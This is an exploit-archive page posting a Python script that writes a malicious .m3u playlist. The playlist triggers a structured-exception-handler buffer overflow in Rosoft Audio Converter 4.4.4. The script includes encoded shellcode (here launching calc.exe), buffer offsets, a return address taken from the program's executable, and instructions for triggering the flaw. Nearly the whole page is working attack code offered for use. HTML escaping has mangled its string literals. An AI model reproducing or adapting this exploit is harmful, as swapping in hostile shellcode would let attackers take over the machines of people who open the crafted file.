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Rosoft Audio Converter 4.4.4 Buffer Overflow

Posted on 16 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Rosoft Audio Converter 4.4.4 Buffer Overflow</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================
Rosoft Audio Converter 4.4.4 Buffer Overflow
============================================


# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
# Date: June 14, 2010
# Author: Blake
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
# Version: 4.4.4
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
# Instructions: create malicious file, open in audio converter, select save
 
print &quot;
============================&quot;
print &quot;Rosoft Audio Converter 4.4.4&quot;
print &quot;      Written by Blake      &quot;
print &quot;   Tested on Windows XP SP3 &quot;
print &quot;============================
&quot;
 
# calc.exe
sc =(
&quot;xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49&quot;
&quot;x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36&quot;
&quot;x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34&quot;
&quot;x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41&quot;
&quot;x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44&quot;
&quot;x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47&quot;
&quot;x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38&quot;
&quot;x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48&quot;
&quot;x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c&quot;
&quot;x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e&quot;
&quot;x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58&quot;
&quot;x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44&quot;
&quot;x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38&quot;
&quot;x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33&quot;
&quot;x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47&quot;
&quot;x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a&quot;
&quot;x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b&quot;
&quot;x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53&quot;
&quot;x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57&quot;
&quot;x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39&quot;
&quot;x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46&quot;
&quot;x4ex46x43x36x42x50x5a&quot;)
 
buffer = &quot;x41&quot; * (4083 - len(sc))
nops = &quot;x90&quot; * 20
near_jmp = &quot;xe8xf4xefxffxff&quot;   # jmp back 
next_seh = &quot;xebxf9x90x90&quot;  
seh = &quot;xe7xb3x49x00&quot;    #Found pop eax -  pop ebx -  ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
junk = &quot;xCC&quot; * 25000
 
print &quot;[+] Creating malicious .m3u file&quot;
try:
    file = open(&quot;blake.m3u&quot;,&quot;w&quot;)
    file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
    file.close()
    print &quot;[+] File created&quot;
except:
    print &quot;[x] Could not create file&quot;
 
raw_input(&quot;
Press any key to exit...
&quot;)


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